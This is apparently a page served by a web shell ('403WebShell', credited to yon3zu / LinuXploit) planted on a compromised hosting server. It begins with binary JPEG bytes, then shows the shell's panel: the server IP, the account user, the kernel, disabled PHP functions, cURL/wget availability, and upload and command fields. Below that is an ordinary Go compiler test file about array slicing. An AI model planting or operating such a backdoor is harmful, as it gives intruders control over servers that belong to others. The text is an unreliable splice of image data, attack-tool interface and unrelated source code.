JFIF ( %!1"%)-...383.7(-.+  -%&--------------------------------------------------"J !1"AQaq2BR#r3Sbs4T$Dd(!1"2AQaq# ?q& JX"-` Es?Bl 1( H6fX[vʆEiB!j{hu85o%TI/*T `WTXط8%ɀt*$PaSIa9gkG$t h&)ٞ)O.4uCm!w*:K*I&bDl"+ ӹ=<Ӷ|FtI{7_/,/T ̫ԷC ȷMq9[1w!R{ U<?СCԀdc8'124,I'3-G s4IcWq$Ro瓩!"j']VӤ'B4H8n)iv$Hb=B:B=YݚXZILcA g$ΕzuPD? !զIEÁ $D'l"gp`+6֏$1Ľ˫EjUpܣvDت\2Wڰ_iIْ/~'cŧE:ɝBn9&rt,H`*Tf֙LK$#d "p/n$J oJ@'I0B+NRwj2GH.BWLOiGP W@#"@ę| 2@P D2[Vj!VE11pHn,c~T;U"H㤑EBxHClTZ7:х5,w=.`,:Lt1tE9""@pȠb\I_IƝpe &܏/ 3, WE2aDK &cy(3nI7'0W էΠ\&@:נ!oZIܻ1j@=So LJ{5UĜiʒP H{^iaH?U2j@<'13nXkdP&%ɰ&-(<]Vlya7 6c1HJcmǸ!˗GB3Ԏߏ\=qIPNĉA)JeJtEJbIxWbdóT V'0 WH*|D u6ӈHZh[8e  $v>p!rIWeB,i '佧 )g#[)m!tahm_<6nL/ BcT{"HSfp7|ybi8'.ih%,wm  403WebShell
403Webshell
Server IP : 88.223.91.172  /  Your IP : 216.73.217.109
Web Server : LiteSpeed
System : Linux id-dci-web1986.main-hosting.eu 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64
User : u686484674 ( 686484674)
PHP Version : 8.0.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /./opt/golang/1.22.0/src/cmd/compile/internal/test/testdata/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /./opt/golang/1.22.0/src/cmd/compile/internal/test/testdata/array_test.go
package main

import "testing"

//go:noinline
func testSliceLenCap12_ssa(a [10]int, i, j int) (int, int) {
	b := a[i:j]
	return len(b), cap(b)
}

//go:noinline
func testSliceLenCap1_ssa(a [10]int, i, j int) (int, int) {
	b := a[i:]
	return len(b), cap(b)
}

//go:noinline
func testSliceLenCap2_ssa(a [10]int, i, j int) (int, int) {
	b := a[:j]
	return len(b), cap(b)
}

func testSliceLenCap(t *testing.T) {
	a := [10]int{0, 1, 2, 3, 4, 5, 6, 7, 8, 9}
	tests := [...]struct {
		fn   func(a [10]int, i, j int) (int, int)
		i, j int // slice range
		l, c int // len, cap
	}{
		// -1 means the value is not used.
		{testSliceLenCap12_ssa, 0, 0, 0, 10},
		{testSliceLenCap12_ssa, 0, 1, 1, 10},
		{testSliceLenCap12_ssa, 0, 10, 10, 10},
		{testSliceLenCap12_ssa, 10, 10, 0, 0},
		{testSliceLenCap12_ssa, 0, 5, 5, 10},
		{testSliceLenCap12_ssa, 5, 5, 0, 5},
		{testSliceLenCap12_ssa, 5, 10, 5, 5},
		{testSliceLenCap1_ssa, 0, -1, 0, 10},
		{testSliceLenCap1_ssa, 5, -1, 5, 5},
		{testSliceLenCap1_ssa, 10, -1, 0, 0},
		{testSliceLenCap2_ssa, -1, 0, 0, 10},
		{testSliceLenCap2_ssa, -1, 5, 5, 10},
		{testSliceLenCap2_ssa, -1, 10, 10, 10},
	}

	for i, test := range tests {
		if l, c := test.fn(a, test.i, test.j); l != test.l && c != test.c {
			t.Errorf("#%d len(a[%d:%d]), cap(a[%d:%d]) = %d %d, want %d %d", i, test.i, test.j, test.i, test.j, l, c, test.l, test.c)
		}
	}
}

//go:noinline
func testSliceGetElement_ssa(a [10]int, i, j, p int) int {
	return a[i:j][p]
}

func testSliceGetElement(t *testing.T) {
	a := [10]int{0, 10, 20, 30, 40, 50, 60, 70, 80, 90}
	tests := [...]struct {
		i, j, p int
		want    int // a[i:j][p]
	}{
		{0, 10, 2, 20},
		{0, 5, 4, 40},
		{5, 10, 3, 80},
		{1, 9, 7, 80},
	}

	for i, test := range tests {
		if got := testSliceGetElement_ssa(a, test.i, test.j, test.p); got != test.want {
			t.Errorf("#%d a[%d:%d][%d] = %d, wanted %d", i, test.i, test.j, test.p, got, test.want)
		}
	}
}

//go:noinline
func testSliceSetElement_ssa(a *[10]int, i, j, p, x int) {
	(*a)[i:j][p] = x
}

func testSliceSetElement(t *testing.T) {
	a := [10]int{0, 10, 20, 30, 40, 50, 60, 70, 80, 90}
	tests := [...]struct {
		i, j, p int
		want    int // a[i:j][p]
	}{
		{0, 10, 2, 17},
		{0, 5, 4, 11},
		{5, 10, 3, 28},
		{1, 9, 7, 99},
	}

	for i, test := range tests {
		testSliceSetElement_ssa(&a, test.i, test.j, test.p, test.want)
		if got := a[test.i+test.p]; got != test.want {
			t.Errorf("#%d a[%d:%d][%d] = %d, wanted %d", i, test.i, test.j, test.p, got, test.want)
		}
	}
}

func testSlicePanic1(t *testing.T) {
	defer func() {
		if r := recover(); r != nil {
			//println("panicked as expected")
		}
	}()

	a := [10]int{0, 10, 20, 30, 40, 50, 60, 70, 80, 90}
	testSliceLenCap12_ssa(a, 3, 12)
	t.Errorf("expected to panic, but didn't")
}

func testSlicePanic2(t *testing.T) {
	defer func() {
		if r := recover(); r != nil {
			//println("panicked as expected")
		}
	}()

	a := [10]int{0, 10, 20, 30, 40, 50, 60, 70, 80, 90}
	testSliceGetElement_ssa(a, 3, 7, 4)
	t.Errorf("expected to panic, but didn't")
}

func TestArray(t *testing.T) {
	testSliceLenCap(t)
	testSliceGetElement(t)
	testSliceSetElement(t)
	testSlicePanic1(t)
	testSlicePanic2(t)
}

Youez - 2016 - github.com/yon3zu
LinuXploit